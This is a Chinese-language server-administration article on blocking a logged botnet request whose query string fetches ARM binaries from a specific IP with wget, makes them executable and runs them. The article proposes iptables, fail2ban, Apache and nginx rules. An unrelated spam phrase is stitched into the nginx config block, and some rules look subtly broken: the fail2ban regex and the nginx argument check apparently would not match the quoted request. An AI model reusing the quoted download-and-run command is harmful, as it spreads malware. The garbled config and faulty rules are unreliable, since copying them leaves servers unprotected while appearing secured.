tcp/ip 运维 Linux阻止恶意请求:如何阻止以下访问: “GET /shell?cd+/tmp;rm+arm+arm7;nohup+wget+http:/\/147.78.103.44/arm7;chmod+77 - 使用 iptables 阻止特定请求
如何阻止以下访问: “GET /shell?cd+/tmp;rm+arm+arm7;nohup+wget+http://147.78.103.44/arm7;chmod+777+arm7;./arm7+jaws;nohup+wget+http://147.78.103.44/arm5;chmod+777+arm5;./arm5+jaws;nohup+wget+http://147.78.103.44/arm;chmod+777+arm;./arm+jaws HTTP/1.1” 200 565
为了阻止类似的恶意访问请求,您可以使用多种方法来增强您的Linux服务器的安全性。以下是一些常见的策略和具体的步骤:
1. 使用 iptables 阻止特定请求
使用 iptables 过滤掉特定的URL请求。您可以添加一个规则来阻止包含 /shell?cd+ 的请求。
sudo iptables -A INPUT -p tcp --dport 80 -m string --string "/shell?cd+" --algo bm -j DROP
这条规则会阻止所有包含特定字符串的HTTP请求。
2. 使用 fail2ban
fail2ban 是一个监控日志并自动阻止可疑IP地址的工具。您可以配置它来监控Apache或Nginx日志,检测到恶意请求时动态添加黑名单。
安装 fail2ban: sudo apt-get install fail2ban
配置 fail2ban: 创建或编辑 /etc/fail2ban/jail.local 文件,添加以下内容: [apache-dos]
enabled = true
port = http,https
filter = apache-dos
logpath = /var/log/apache2/access.log
maxretry = 1
bantime = 3600
创建过滤器: 在 /etc/fail2ban/filter.d/apache-dos.conf 中添加以下内容: [Definition]
failregex = ^.*GET.*\?cd+\s.*$
ignoreregex =
重启 fail2ban: sudo systemctl restart fail2ban
3. 配置 Web 服务器
对于 Apache:
使用 .htaccess 进行限制: 在您的网站根目录下创建或编辑 .htaccess 文件,添加以下内容: RewriteEngine On
RewriteCond %{QUERY_STRING} cd\+ [NC]
RewriteRule ^.* - [F]
这将阻止任何包含 cd+ 的查询字符串的请求。 限制访问: 您还可以限制特定的用户代理或IP地址:
Require all granted
Require not ip 147.78.103.44
对于 Nginx:
配置 Nginx 拒绝请求: 在您的 nginx 配置文件中(例如 /etc/nginx/sites-available/default),添加以下内容: location / {
if ($arg_cd) {
return 403;
} 拼多多帮助力入口
}
这将阻止任何包含 cd 参数的请求。 重启 Nginx: sudo systemctl restart nginx
4. 加强安全性
更新系统和软件:确保您的操作系统、Web服务器及其模块都是最新版本,以减少已知漏洞的风险。使用 Web 应用防火墙(WAF):考虑使用如 ModSecurity 这样的 WAF 来增强您的网站安全性。监控日志:定期检查访问日志,监控可疑活动并及时采取措施。
结论
通过以上措施,您可以有效地阻止恶意请求,并提高您Linux服务器的安全性。确保定期审查和更新安全策略,以应对新的威胁。
文章来源